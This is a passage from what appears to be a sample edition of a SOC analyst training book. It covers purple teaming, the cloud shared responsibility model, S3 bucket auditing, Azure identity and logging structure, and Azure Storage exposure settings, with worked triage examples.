- Stacking and frequency analysis find the outlier without reading every event.
- Cross-domain pivoting (endpoint, identity, network, cloud) confirms what one log source cannot.
- Every hunt, positive or negative, should produce a documented result and a coverage record.
- A hunt that finds nothing but proves coverage is still a successful hunt.

■ **COMMON PITFALLS**

- Treating hunting as unstructured log browsing with no hypothesis or success criteria.
- Never converting hunt findings into permanent detections, so the same gap gets re-discovered.
- Building a baseline once and never refreshing it as the environment changes.
- Ignoring negative results instead of recording them as coverage evidence.

Purple teaming is the deliberate, collaborative practice of running offensive emulation and defensive detection side by side, in the same room or channel, so that gaps are found and closed in real time rather than discovered weeks later in a report nobody reads. Unlike a traditional red team engagement where the blue team is kept in the dark to test response realism, purple teaming is explicitly transparent — the point is maximum learning and coverage improvement per hour spent, not testing whether the SOC notices. A senior analyst who leads purple team exercises plans them against specific ATT&CK techniques relevant to real threats facing the organization, measures detection outcomes precisely, and drives the resulting gaps directly into the detection engineering backlog.

KEY TERMS TO HIGHLIGHT

Purple Team Exercise	A collaborative, transparent exercise where offense executes specific techniques and defense observes and reports detection outcomes in real time.
Detection Efficacy Testing	Measuring whether, how, and how fast a specific technique execution was detected, logged, and would have triggered an alert.
ATT&CK Emulation Plan	A structured, technique-by-technique script mapping a specific adversary's known TTPs to concrete execution steps for testing.
Atomic Test	A small, single-technique, self-contained test (as popularized by Atomic Red Team) used to validate detection of one specific behavior in isolation.
Detection Gap	A technique that was executed but produced no alert, no log evidence, or insufficient fidelity to support triage — the primary output purple teaming is designed to find.
Rules of Engagement (RoE)	The documented scope, boundaries, timing, and safety constraints agreed before any exercise begins to prevent unintended production impact.

The defining difference between purple teaming and a red team assessment is intent and transparency. A red team engagement is designed to answer 'would we detect and respond to a real, undisclosed attack' — the blue team's ignorance is the point, because it tests real-world response conditions. Purple teaming instead asks 'does this specific detection work, and if not,

why not' — both sides know exactly what is being executed and when, so the exercise can move quickly through many techniques and iterate on fixes live. Neither replaces the other; a mature program runs both, using purple team exercises to build and validate coverage efficiently, and periodic red team or adversary simulation engagements to test whether that coverage holds up against a realistic, undisclosed attack chain end to end.

Planning a purple team exercise starts from an ATT&CK-mapped emulation plan, ideally modeled on the TTPs of a threat actor genuinely relevant to the organization rather than a generic technique list. The plan breaks the chosen actor's known behavior into discrete, orderable steps — initial access technique, execution method, persistence mechanism, privilege escalation path, lateral movement technique, and objective action — each mapped to a specific ATT&CK ID. Before execution, the team agrees explicit rules of engagement: which systems are in scope, what time window the exercise runs in, what safety stops apply if something behaves unexpectedly, and who has authority to halt the exercise. This planning discipline is what separates a purple team exercise from informally 'running some Atomic Red Team tests' — the latter is useful for isolated detection validation, but a full exercise tests the coverage of a coherent attack narrative, which is closer to what a real intrusion looks like.

During execution, the value is in the real-time feedback loop. As each technique fires, the blue team reports, live, what they observed: did an alert fire, how long did it take, was the alert routed to the right queue, did the underlying log data actually contain the evidence needed to confirm the technique even if no alert triggered, and would an analyst at Level 1 or Level 2 have had enough context to triage it correctly without already knowing this was a test. Capturing that last point matters — a detection that technically fires but produces an alert with no actionable context is nearly as bad as no detection at all, because it still consumes analyst time without enabling a correct decision. Every step's outcome is scored, typically as detected-and-actionable, detected-but-not-actionable, logged-but-not-detected, or no-evidence-at-all, since each category implies a different remediation.

The output of a purple team exercise is only valuable if it becomes backlog, not just a readout deck. Each detection gap gets converted into a detection engineering ticket with the exact technique, the exact evidence available (or missing), and a priority informed by both the threat relevance and how far the technique got before being caught. Gaps that trace back to missing log source coverage feed into SIEM engineering's onboarding backlog rather than being treated as a detection logic problem. Senior leads track these exercises over time as a coverage trend — what percentage of tested techniques were detected-and-actionable this quarter versus last — which gives leadership a much more credible measure of SOC capability improvement than alert counts or ticket-closure metrics alone.

Purple teaming also has a cultural function that senior analysts should not underrate: it builds trust and shared vocabulary between offensive and defensive functions that often otherwise operate in silos or even mild adversarial tension. When detection engineers watch, in real time, exactly how a technique is executed at the command level, they write better, more precise detections than they would from a written technique description alone. When offensive testers see, in real time, what defenders can and cannot see, their future red team and adversary simulation work becomes more realistic and more useful, because they understand the actual detection surface rather than guessing at it.

■ **Worked Example: A Three-Technique Purple Team Sprint**

The team schedules a two-hour purple team sprint against three techniques observed in recent threat reporting for the sector: T1059.001 (PowerShell execution), T1055.012 (Process Hollowing), and T1021.002 (SMB/Windows Admin Shares lateral movement). On TEST-WKS-01, the operator runs an obfuscated PowerShell downloader — the SIEM alert fires within 40 seconds with clear context, scored detected-and-actionable. Process hollowing against a legitimate svchost.exe process produces no SIEM alert, but the team confirms the underlying Sysmon Event ID 8 (CreateRemoteThread) data was captured; scored logged-but-not-detected. Lateral movement via PsExec-style admin share access to FILESRV-02 triggers no alert and, on review, the relevant Security 4688/5140 events were not even being collected from that host due to an incomplete log forwarding rule. That gap is immediately escalated to the SIEM engineer as a same-day fix rather than waiting for the exercise report, and a detection engineering ticket is opened for the process hollowing gap with the exact CreateRemoteThread pattern observed.

✓ **KEY TAKEAWAYS (highlight these)**

- Purple teaming is collaborative and transparent by design — both sides know the plan.
- Base emulation plans on ATT&CK techniques relevant to real threats facing the organization.
- Score outcomes precisely: detected-and-actionable versus logged-but-not-detected versus no evidence.
- A technique that fires an alert with no context is barely better than no detection at all.
- Every finding must become a tracked backlog item, not just a line in a readout deck.
- Purple teaming builds shared vocabulary between offense and defense — treat that as a real output.

■ COMMON PITFALLS

- Running exercises with no rules of engagement, risking unintended production impact.
 - Testing generic techniques instead of ones mapped to actual relevant threat actors.
 - Letting findings sit in a report instead of converting them into engineering tickets immediately.
 - Confusing purple teaming with red teaming and losing the value of either.
-

PART IV — SAMPLE

Cloud Security

Goal: Apply SOC investigation skills to cloud environments — identity, storage, network, and detection.

THE PART IV PROGRESSION MODEL



In this sample, you get 2 of the 6 chapters in this part:

- ✓ Cloud Fundamentals & the Shared Responsibility Model
- ✓ Cloud Storage Security

+ 4 more chapters in the full edition

Cloud Fundamentals & the Shared Responsibility Model

For a SOC analyst, "the cloud" is not a mysterious other place, it is simply someone else's data center exposed to you through an API instead of a server room badge reader. Platforms like AWS, Azure, and GCP rent out compute, storage, and networking as on-demand services, delivered in three broad models: Infrastructure as a Service (IaaS), where you manage the operating system and everything above it; Platform as a Service (PaaS), where the provider also manages the runtime; and Software as a Service (SaaS), where you only manage data and user access. Every one of these models splits security duties between the provider and the customer under what is called the shared responsibility model, and misreading that split is the single most common root cause of cloud breaches today, far more often than a sophisticated exploit. As an analyst, your job shifts accordingly: there is no physical network tap to place, no switch port to mirror. Every action in a cloud environment, from a console login to a storage bucket permission change, is an API call, and that call is logged. Learning to read that log, CloudTrail in AWS and its equivalents elsewhere, is the cloud analyst's version of learning to read Windows Event Logs, and it is where this chapter begins.

KEY TERMS TO HIGHLIGHT

Shared Responsibility Model	The division of security duties in which the cloud provider secures the underlying infrastructure and the customer secures what they configure and put on top of it.
IaaS / PaaS / SaaS	The three cloud service models, distinguished by how much of the stack, from hardware up to the application, the customer versus the provider manages.
CloudTrail	AWS's service that records every API call made in an account as a detailed, timestamped event, functioning as the cloud's equivalent of a Windows Event Log.
Region / Availability Zone	A geographic location where a cloud provider operates data centers, and the isolated physical facilities within it that resources can be deployed into.
IAM (Identity and Access Management)	The cloud service that defines who and what can authenticate and what actions they are authorized to perform.
VPC (Virtual Private Cloud)	A logically isolated, software-defined network within a cloud account where an organization's resources are deployed.

The shared responsibility model is usually drawn as a horizontal line through the technology stack, and where that line sits depends entirely on the service model in use. In IaaS, the provider is responsible for the physical facilities, host hardware, and the virtualization layer, while the customer is responsible for the guest operating system, patching, network configuration, identity, and the data itself. In PaaS, the provider additionally manages the runtime and operating system, so the customer's remaining duty narrows to application code, data, and access configuration. In SaaS, the provider runs essentially everything except how the customer configures user permissions and what data they choose to put into the service. The critical point for an analyst is that the provider is never responsible for security "in" the cloud, only security "of" the cloud. AWS will not stop you from making an S3 bucket public, Azure will not stop you from granting a service principal excessive permissions, and GCP will not stop you from leaving a firewall rule open to 0.0.0.0/0. Those are customer-side decisions, and customer-side mistakes are what SOC teams spend most of their cloud-alert time investigating.

This explains why misconfiguration, not zero-day exploitation, is the dominant cause of cloud incidents. An attacker rarely needs to break cloud infrastructure when a storage bucket was left publicly readable, an access key was committed to a public code repository, a security group allows inbound traffic from anywhere on the internet, or an IAM policy grants far more permission

than the workload actually needs. None of these require sophisticated tradecraft; they require only that someone look. Automated scanners constantly probe cloud IP ranges and public repositories for exactly these mistakes, and once found, exploitation can happen within minutes. For an analyst, this reframes what "suspicious" looks like in the cloud: you are not primarily hunting exotic malware, you are watching for configuration drift, unusual API call patterns, and identities behaving outside their established baseline. The attack surface is not a set of open ports, it is a set of permissions and settings, and the majority of cloud breaches begin with a permission that should never have been granted in the first place.

Every cloud analyst needs a working vocabulary before any of this makes sense in practice. An account (AWS) or subscription (Azure) is the billing and administrative boundary that contains resources; a region is a geographic location, such as us-east-1, where those resources physically run, and within it, availability zones provide physically separate facilities for redundancy. A resource is any object you create, an EC2 instance, an S3 bucket, a database. IAM governs who or what can authenticate and what they are authorized to do once they have. A VPC is the software-defined network boundary inside which resources communicate, analogous to a traditional on-prem subnet but defined entirely in configuration rather than physical cabling. None of these concepts map one-to-one onto a traditional data center, and analysts who try to force the analogy too literally end up missing the cloud-specific risks, like a role trust policy or a public resource policy, that have no direct on-prem equivalent at all.

Investigating a cloud alert differs from investigating an on-prem alert in one fundamental way: there is no wire to tap. You cannot walk to a switch and mirror a port, and you cannot pull a packet capture from a router you do not physically control. Nearly everything that happens in a cloud environment, an EC2 instance launching, a permission being attached, a file being downloaded from storage, an API key being used, happens through the provider's control-plane API, and that API call is what gets logged. This means the log record is not supporting evidence for your investigation, in the cloud, the log record frequently is the evidence. CloudTrail in AWS, Activity Log in Azure, and Cloud Audit Logs in GCP each capture the who (identity), what (API action), when (timestamp), where from (source IP), and often the exact parameters of every call made against the account. An analyst who is fluent in reading these logs can reconstruct an entire intrusion, from initial access through privilege escalation to data exfiltration, purely from API call history, without ever touching a single packet.

This shift also changes what "visibility" means for a SOC. On-prem, visibility gaps are often physical: a segment without a sensor, a host without an agent. In the cloud, visibility gaps are almost always logging gaps: a region where CloudTrail is not enabled, a data event type (like individual S3 object access) that is not turned on because it costs extra, or a log retention window

too short to catch a slow-moving attacker. Part of the analyst's job going forward is knowing what is and is not being logged, because an attacker who understands cloud logging defaults will deliberately operate in the blind spots, for example, reading objects from a bucket where only management events, not data events, are captured. The remaining chapters in this part build directly on this idea: identity, storage, and network security in the cloud are all, at their core, exercises in reading and interpreting the API call record correctly.

■ **Worked Example: Your First Cloud Alert Shift**

You are a Level 1 analyst at a mid-size logistics company, three weeks into your first rotation covering the company's AWS environment. At 09:40 you receive an alert titled "S3 bucket ACL modified to public-read" for a bucket named corp-shipping-manifests. Your instinct, trained on years of on-prem alerts, is to look for a source host to isolate or a network segment to capture traffic from, but there is no host here, the bucket is not a server. Instead you open CloudTrail and filter for eventName=PutBucketAcl on that bucket name. You find a single event at 09:22:14, userIdentity=IAMUser/k.tran, requestParameters showing Grantee=AllUsers, Permission=READ. You pull k.tran's 30-day IAM activity baseline and see this account has never called PutBucketAcl before, its normal activity is limited to s3:PutObject on a completely different bucket. You check the shared responsibility model in your head: AWS did not fail here, nothing about the platform is broken, a customer-side permission was set incorrectly. You pull the bucket's server access logs for the window since 09:22 and find two anonymous GET requests already logged from an external IP. There is no packet capture to request and no firewall log to pull, the CloudTrail and S3 access logs already contain the entire story, and you escalate with that evidence attached.

✓ **KEY TAKEAWAYS (highlight these)**

- The shared responsibility model splits duties by service model: IaaS gives the customer the most to secure, SaaS the least.
- Providers secure the cloud itself; customers secure what they configure, deploy, and grant access to within it.
- Misconfiguration, not exploitation, is the leading cause of cloud breaches, so watch for excess permissions and exposed settings, not just malware.
- There is no wire to tap in the cloud, API call logs like CloudTrail are the primary evidence source, not supporting evidence.
- Logging gaps in the cloud are configuration gaps, know what event types and regions are actually being captured.

■ COMMON PITFALLS

- Assuming the cloud provider is responsible for a misconfiguration the customer actually controls.
- Trying to force on-prem investigation habits (packet capture, port mirroring) onto a cloud alert instead of going straight to the API log.
- Treating a cloud alert as resolved once a setting is reverted, without checking whether the exposure window was actually accessed.

2

Cloud Storage Security

Object storage services — Amazon S3, Azure Blob Storage, and Google Cloud Storage buckets — are the single most common source of cloud data breaches, and the reason is almost never a sophisticated exploit. It is a misconfiguration: a bucket that should have been private was made public, briefly or permanently, by a single policy or ACL change. Unlike an on-prem file share buried behind a firewall, a misconfigured bucket is reachable from anywhere on the internet the instant the setting changes, with no additional network access required. As a SOC analyst you need to understand the layered controls that keep a bucket safe — account-level Block Public Access, bucket policies, object and bucket ACLs, encryption at rest, and versioning — because an incident almost always traces back to exactly one of these layers being disabled, misconfigured, or simply never set. You also need to internalize a distinction that trips up new analysts constantly: 'not public' is not the same as 'secure.' A private bucket with no encryption and no versioning is still exposed to insider misuse, credential theft, and irreversible data loss. This chapter teaches you to audit a bucket the way a mature cloud SOC does — checking every control layer, not just the public-access flag.

🔑 KEY TERMS TO HIGHLIGHT

Object Storage	A cloud storage model (S3, Blob Storage, GCS) that stores files as discrete objects inside logical containers called buckets, accessed over HTTPS rather than a traditional file system.
Block Public Access	An account- or bucket-level setting that overrides any ACL or policy attempting to grant public access, acting as a safety net against accidental exposure.
Bucket ACL	A legacy access-control mechanism that grants read/write permissions to specific grantees, including the dangerous "AllUsers" grantee representing anyone on the internet.
Bucket Policy	A JSON document attached to a bucket that defines fine-grained, condition-based rules for who can perform which actions on the bucket and its objects.
SSE-S3 / SSE-KMS	Two server-side encryption-at-rest options — SSE-S3 uses keys fully managed by the storage service, while SSE-KMS uses a customer-managed key with its own access policy and audit trail.
Bucket Versioning	A setting that preserves every prior version of an object instead of overwriting it, providing recovery from accidental deletion, overwrite, or ransomware-style encryption of objects.

Object storage access is controlled at two distinct levels, and analysts must check both. Bucket-level controls govern who can list, read, or write to the bucket as a whole — this is where Block Public Access and bucket policies live. Object-level controls govern individual files inside the bucket and can, in older configurations, be set independently of the bucket's own settings through per-object ACLs. This split matters during an investigation: a bucket can look properly locked down at the bucket-policy level while a handful of individual objects still carry a legacy public-read ACL from years earlier, quietly exposing exactly those files to anyone with the URL. When you triage a storage exposure alert, do not stop at the bucket policy — pull the object-level ACLs on the specific objects named in the alert, because bucket-level and object-level permissions do not always agree, and the more permissive one wins.

Block Public Access exists specifically because ACLs and policies are easy to misconfigure and hard to audit at scale across thousands of buckets. When enabled at the account level, it overrides any ACL or policy — present or future — that attempts to grant public access, regardless of who set it or why. This is why a mature cloud environment enables it as a default guardrail and requires an explicit, reviewed exception for the rare bucket that legitimately needs to serve public content, such as a static website's asset bucket. When you see a public-exposure alert, one of your first

questions should be whether Block Public Access was ever enabled on that account or bucket at all — an account with it correctly enforced organization-wide should never generate this alert class in the first place, and finding that it was off, or was explicitly disabled shortly before the exposure, is itself a significant finding worth escalating.

A bucket ACL grant of 'AllUsers:READ' — sometimes surfaced in cloud logs as a PutBucketAcl or PutObjectAcl event with Grantee=AllUsers — is one of the most consequential single API calls in cloud security because it requires no further action from an attacker. There is no lateral movement, no credential to steal, no exploit to chain; the data is simply reachable by anyone who requests it, including automated internet-wide scanners that specifically hunt for exactly this misconfiguration and can discover a newly-public bucket within minutes. This is why 'AllUsers' or 'AllAuthenticatedUsers' grantees should be treated as an automatic high-severity finding regardless of what the bucket claims to contain, and why the first triage step is always to determine the bucket's data classification — customer PII, financial records, and source code all carry very different urgency, but all of them are worse public than private.

Encryption at rest and versioning are frequently overlooked because they do not show up in a public-access scan, yet both directly reduce breach impact and blast radius. SSE-S3 encrypts objects using keys the storage service manages entirely, which is sufficient for most internal data and requires zero additional configuration once enabled as a bucket default. SSE-KMS instead uses a customer-managed key with its own IAM-style access policy, meaning decryption itself becomes a controllable, auditable action — even a principal with S3 read permission cannot decrypt the object without also being permitted to use the key, and every use of that key is logged. This extra control layer matters most for regulated or highly sensitive data, where you want a second permission boundary an attacker must also clear. A bucket with no encryption at all is not necessarily breached, but if the underlying storage media, a snapshot, or a misdirected backup is ever exposed, the data behind it is immediately readable with no additional barrier.

Versioning solves a different problem than encryption: it protects against loss and tampering rather than disclosure. Without versioning enabled, a single overwrite or delete — whether from a fat-fingered script, a compromised credential running a bulk-delete, or ransomware that targets cloud storage directly — is permanent. With versioning on, every prior copy of an object is retained, so a malicious or accidental change can be rolled back by restoring the previous version rather than reaching for a backup that may be stale or may not exist. This is why a proper bucket audit checks four fields together rather than any one in isolation: public access status, encryption setting, versioning state, and the date of the last audit. A bucket that is private but unencrypted and unversioned is not 'fine' — it is one compromised credential away from an unrecoverable, undetected data-tampering incident, and a stale last-audit date on a bucket holding sensitive data

is itself worth flagging even with no active alert.

■ **Worked Example: Auditing customer-invoices-archive**

You are an L1 analyst at a logistics company running a scheduled cloud storage audit, not responding to a live alert. Working through the bucket inventory, you reach a bucket named customer-invoices-archive in us-east-1. Its properties show publicAccess: true, encryption: None, versioning: false, and lastAudit: Never. You pull the bucket ACL and find a grant of AllUsers:READ, and the bucket tags show data-classification=confidential. You check object counts and see roughly 40,000 PDF invoices containing customer names, addresses, and partial payment information. You immediately flag this as a critical finding rather than waiting for the next shift: an unencrypted, unversioned, publicly readable bucket full of PII that has apparently never been audited. You escalate to your cloud security team with the bucket name, region, ACL grant, and data classification, and recommend three immediate actions — enable Block Public Access account-wide, strip the AllUsers grant from the ACL, and enable SSE-S3 default encryption — followed by a review of access logs to determine whether any anonymous requests actually retrieved objects during the exposure window, since that determines whether this becomes a reportable data breach or a caught-in-time misconfiguration.

✓ **KEY TAKEAWAYS (highlight these)**

- Most cloud storage breaches are misconfigurations, not exploits — check the config first.
- Bucket-level and object-level permissions can disagree; the more permissive one wins, so check both.
- An AllUsers or AllAuthenticatedUsers grant is an automatic high-severity finding, no matter the data.
- "Not public" does not mean "secure" — an unencrypted, unversioned private bucket is still a real risk.
- A complete bucket audit checks public access, encryption, versioning, and last-audit date together.

■ **COMMON PITFALLS**

- Closing a storage alert after confirming the bucket policy looks fine without checking object-level ACLs.
- Treating a private bucket as automatically low-risk without checking encryption and versioning.
- Failing to determine data classification before assessing severity of a public-exposure finding.

PART V — SAMPLE

Azure & Microsoft 365 Security

Goal: Apply SOC investigation skills to Azure and Microsoft 365 — Entra ID, storage, network, and Sentinel-driven detection and hunting.

THE PART V PROGRESSION MODEL



In this sample, you get 2 of the 6 chapters in this part:

- ✓ Azure Fundamentals & the Shared Responsibility Model
- ✓ Azure Storage & Key Vault Security

+ 4 more chapters in the full edition

Azure Fundamentals & the Shared Responsibility Model

If your cloud background is AWS, Azure will feel familiar and misleading at the same time, and that gap is where mistakes happen. The concepts rhyme: Azure has accounts, networks, storage, and an API-driven control plane just like AWS does, but the organizing structure and the vocabulary are different enough that a direct find-and-replace mapping will get an analyst into trouble. Azure resources are organized in a hierarchy of Management Groups at the top, which contain Subscriptions, which contain Resource Groups, which contain the actual Resources, virtual machines, storage accounts, databases, and everything else you can deploy. Sitting outside and above that hierarchy, and shared across every subscription in the organization, is Entra ID (formerly Azure Active Directory), the tenant-wide identity backbone that every human user, every service, and every Microsoft 365 mailbox in the organization ultimately authenticates against. This single-tenant-many-subscriptions model is itself a structural difference from AWS, where identity is scoped per-account by default unless an organization deliberately federates it. The shared responsibility model still applies, but it shifts further toward the provider as you move up the service-model ladder: Microsoft 365 is SaaS, so Microsoft manages the application and infrastructure entirely, leaving the customer responsible almost exclusively for identity, data classification, and access configuration, an even narrower slice than a typical IaaS workload leaves an AWS customer. Every control-plane action in Azure, creating a resource, changing a role assignment, modifying a network rule, is recorded in the Azure Activity Log, while actions inside Microsoft 365 itself, a mailbox rule created, a file shared, an admin role activated, land in the Microsoft 365 Unified Audit Log. Learning to read both of these, the way an AWS analyst learns to read CloudTrail, is where this chapter, and this part of the book, begins.

KEY TERMS TO HIGHLIGHT

Entra ID (formerly Azure AD)	The tenant-wide identity service that authenticates users, groups, service principals, and managed identities across every subscription and Microsoft 365 service in an organization.
Management Group / Subscription / Resource Group	Azure's nested organizational hierarchy: management groups group subscriptions for policy inheritance, subscriptions are billing and access boundaries, and resource groups collect related resources for lifecycle management.
Azure Resource Manager (ARM)	The control-plane API that every Azure management action, from the portal, CLI, or automation, routes through, and the layer that the Activity Log records.
Azure Activity Log	The subscription-level record of control-plane operations against Azure resources, functioning as Azure's rough equivalent of AWS CloudTrail management events.
Microsoft 365 Unified Audit Log (UAL)	The tenant-wide log of activity inside Microsoft 365 services, Exchange Online, SharePoint, Teams, and Entra ID sign-ins and directory changes, searchable through the Microsoft Purview compliance portal.
Region / Availability Zone	A geographic Azure datacenter location, and the physically separate facilities within it that resources can be spread across for resiliency, conceptually parallel to but not identically numbered against AWS regions.

The temptation for an AWS-trained analyst is to draw a straight line from an AWS account to an Azure subscription and stop thinking about it, and that shortcut causes real triage errors. An AWS account is a hard security boundary, IAM, billing, and by default even logging are scoped to it unless deliberately joined into an AWS Organization. An Azure subscription is a billing and resource-organization boundary, but identity is not scoped to it at all, every subscription in a tenant shares the same Entra ID directory. This means a user account compromised in one subscription's context is, by default, the same identity that can potentially be granted access in every other subscription under that tenant, because there is one identity plane underneath all of them, not one per subscription. An analyst who treats an Azure subscription boundary the way they would treat an AWS account boundary will systematically underestimate blast radius. The correct mental model is that the tenant, not the subscription, is the outer security boundary in Azure, and Entra ID is what defines that boundary.

Azure RBAC, the permission system that governs what an identity can do to resources, also attaches differently than AWS IAM policies do, and this difference matters every time you triage a permissions-related alert. In AWS, a policy is typically attached directly to a user, group, or role, and you inspect that identity's attached and inline policies to know what it can do. In Azure, a role assignment is a three-part binding: a security principal (a user, group, service principal, or managed identity), a role definition (built-in roles like Owner, Contributor, or Reader, or a custom role), and a scope, which can be set at the management-group, subscription, resource-group, or individual-resource level, and which is inherited downward. This means the same principal can hold different effective permissions on the same resource depending on assignments made at multiple levels above it, and an analyst investigating "what can this identity actually do" cannot just look at one place, they must walk the scope hierarchy from the resource up through its resource group, subscription, and any management groups above it, summing every applicable assignment along the way.

Azure Resource Manager (ARM) is the control plane every management operation passes through, whether it originates from the Azure Portal, the Azure CLI, PowerShell, Terraform, or a CI/CD pipeline, and this uniformity is exactly why the Activity Log is so valuable: no matter how an attacker or an administrator makes a change, if it touches a resource, it goes through ARM and it gets recorded. Each Activity Log entry carries an operation name in a predictable Microsoft.<ResourceProvider>/<resourceType>/<action> format, for example Microsoft.Storage/storageAccounts/write for a storage account configuration change or Microsoft.Authorization/roleAssignments/write for a new permission grant, along with the caller identity, source IP, timestamp, and the resource ID affected. This is the direct structural cousin of a CloudTrail eventName, and analysts should build the same reflex around it: when something changes, find the operation name, find the caller, find the timestamp, and work outward from there. The difference is that Activity Log is scoped per subscription by default, so a multi-subscription tenant requires either a central Log Analytics workspace collecting from all of them or a deliberate habit of checking each one.

Microsoft 365 sits conceptually above and alongside the Azure resource hierarchy entirely, sharing only the Entra ID identity plane, and its activity is recorded separately in the Unified Audit Log (UAL) rather than the Activity Log. This distinction trips up new Azure analysts constantly: a mailbox rule creation, a SharePoint file download, or a Teams external sharing event will never appear in Activity Log no matter how long you search it, because those are Microsoft 365 application-layer events, not Azure resource-management events. The UAL, searchable through the Microsoft Purview compliance portal or via PowerShell's Search-UnifiedAuditLog, records these as structured operations too, New-InboxRule, FileDownloaded, MailItemsAccessed, each

tagged with the acting user, timestamp, and client IP. A complete investigation into a compromised user very often requires correlating three separate sources: Entra ID Sign-in Logs for authentication events, Entra ID Audit Logs for directory changes like role assignments, and the Unified Audit Log for what that user actually did inside Exchange, SharePoint, and Teams once authenticated. Treating any one of these three as the whole picture is a common and costly gap.

Finally, the shared responsibility model itself is not a fixed line, it is a sliding one, and Azure's mix of IaaS, PaaS, and SaaS services means a single organization can sit at several points on that line simultaneously. An Azure VM is IaaS, the customer still patches the guest OS and manages network security groups. Azure SQL Database is PaaS, Microsoft manages the database engine and patching, leaving the customer responsible for access control, data classification, and query-level security. Microsoft 365 is SaaS, Microsoft manages literally everything below the application layer, the customer's entire responsibility narrows to identity (who can sign in and with what privilege), data governance (what gets shared and with whom), and endpoint configuration, which is precisely why Entra ID identity controls, not network controls, carry almost the entire security weight for a Microsoft 365-centric organization. An analyst evaluating any Azure or Microsoft 365 alert should always first ask which service model that resource belongs to, because it directly determines whether the root cause could plausibly be a Microsoft platform failure at all, and in the vast majority of cases, especially in SaaS, it cannot be.

■ Worked Example: Your First Azure Alert Shift

You are a Level 1 analyst at a regional healthcare billing company, two weeks into covering the organization's newly onboarded Azure tenant after years working AWS alerts. At 10:15 you receive an alert titled "Public network access enabled on storage account" for claims-archive-prod01, and your first instinct, shaped by AWS muscle memory, is to reach for CloudTrail, which does not exist here. You open the Azure Activity Log instead and filter by resource name and operation name Microsoft.Storage/storageAccounts/write. You find a single write event at 09:58:03 UTC, caller m.okafor@claimsbilling.onmicrosoft.com, with the change summary showing networkAcls.defaultAction flipped from Deny to Allow, meaning the storage account is now reachable from any public IP address instead of only the approved corporate range. You pull m.okafor's identity into Entra ID and check the Sign-in Logs, confirming the session token used for this change originated from a known corporate IP with no risk flags, so this looks like an authenticated but mistaken change rather than a compromised account. You then check whether the exposure window was actually exploited by reviewing the storage account's diagnostic logs for blob-read operations since 09:58, and find three anonymous GET requests against a container named remittance-2024 originating from an unfamiliar IP in a different country, logged at 10:07, 10:09, and 10:11, roughly nine minutes after the exposure began. You recognize immediately that this is not an Azure platform failure, the shared responsibility model puts network ACL configuration squarely on the customer side even for a managed PaaS storage service, and you escalate with the Activity Log entry, the sign-in evidence clearing the identity of compromise, and the diagnostic log showing confirmed unauthorized access, exactly the kind of evidence chain the Azure control plane hands you without ever needing a packet capture.

✓ KEY TAKEAWAYS (highlight these)

- Entra ID, not the subscription, is Azure's outer identity boundary, one directory underlies every subscription in a tenant.
- Azure RBAC role assignments are a principal + role definition + scope binding that inherits downward through management group, subscription, resource group, and resource, unlike a directly attached AWS IAM policy.
- Azure Activity Log covers control-plane changes to resources; the Microsoft 365 Unified Audit Log covers application-layer activity inside Exchange, SharePoint, and Teams, and neither substitutes for the other.
- Shared responsibility slides further toward the provider as you move from IaaS to PaaS to SaaS, and Microsoft 365 leaves the customer responsible almost entirely for identity and data governance.
- Never assume AWS and Azure terms map one-to-one, a subscription is not an account, and forcing the analogy causes analysts to misjudge blast radius and evidence location.

■ COMMON PITFALLS

- Searching for an AWS-style single unified log and missing that Azure Activity Log and the Microsoft 365 Unified Audit Log are separate sources covering separate layers.
- Assuming a change is isolated to one subscription because identity in Azure is tenant-wide, not subscription-scoped, by default.
- Evaluating an identity's access by looking only at the resource in question instead of walking role assignments up through resource group, subscription, and management group scope.

2

Azure Storage & Key Vault Security

Azure Storage Accounts are the Blob, File, Queue, and Table storage equivalent of an AWS S3 bucket, and they fail in the same fundamental way: not through a sophisticated exploit, but through a single misconfigured setting that turns a private container into something reachable from anywhere on the internet. Where the two platforms diverge is in the mechanics of that exposure. Azure gives you container-level public access settings that can be flipped independently of the storage account's own configuration, and it layers on top of that a credential type AWS has no direct equivalent for: the Shared Access Signature, or SAS token. A SAS token is a signed URL that grants time-boxed, scoped access to storage resources without requiring Azure AD authentication at all, which makes it extremely convenient for sharing files or letting an application write blobs — and extremely dangerous when generated with a long expiry, broad permissions, or account-level scope, because a SAS token derived from a storage account key cannot be individually revoked. The only way to kill a leaked SAS token before its expiry is to rotate the account key it was signed with, which simultaneously invalidates every other valid SAS token issued from that same key. Layered alongside Storage sits Azure Key Vault, the managed store for secrets, encryption keys, and certificates that much of the rest of an Azure environment depends on, and which carries its own access model, soft-delete protections, and audit trail. This chapter teaches you to read storage and Key Vault diagnostic logs the way a mature Azure SOC does — checking container access settings, SAS token scope and lifetime, access-key rotation history, and Key Vault permission models together, because an incident almost always traces back to exactly one of these layers being left too permissive.

KEY TERMS TO HIGHLIGHT

Storage Account	The top-level Azure resource that provides a namespace for Blob, File, Queue, and Table storage services, each with its own access model but sharing the account's access keys.
Container Public Access Level	A per-container setting (Private, Blob, or Container) that controls whether anonymous, unauthenticated HTTP requests can read blobs or list the container's contents — the direct analogue of an S3 bucket ACL grant.
Shared Access Signature (SAS)	A signed URL that grants time-boxed, scoped access to storage resources without Azure AD authentication; account-level SAS tokens are signed with a storage account key and cannot be individually revoked before their expiry.
Storage Account Access Key	One of two root-level symmetric keys that grant full control over a storage account and are used to sign SAS tokens; rotating a key immediately invalidates every SAS token ever signed with it.
Azure Key Vault	A managed service for storing and controlling access to secrets, encryption keys, and certificates, used both by applications and by other Azure services that need to reference credentials securely.
Soft-Delete / Purge Protection	Key Vault (and Storage) settings that retain deleted secrets, keys, or blobs for a recovery window and, with purge protection enabled, prevent even a privileged user from permanently destroying them before that window elapses.

Azure Storage exposure works differently from an S3 bucket ACL, and the distinction matters for triage. Every container inside a storage account has its own Public Access Level setting, independent of any setting on the storage account itself: Private means no anonymous access at all, Blob means individual blobs can be read anonymously if you know or guess the exact URL, and Container means the entire container can be anonymously listed and every blob inside it read. A storage account can have Allow Blob Public Access enabled at the account level — which simply permits containers to be configured for public access, it does not itself expose anything — while every individual container underneath remains Private, or vice versa: the account-level toggle can look conservative while a single container was set to Container access months ago and forgotten. When you triage a storage exposure alert, check both levels explicitly. The account-level AllowBlobPublicAccess property tells you whether public containers are even possible; the container's own PublicAccess property tells you whether this specific container is actually exposed right now.

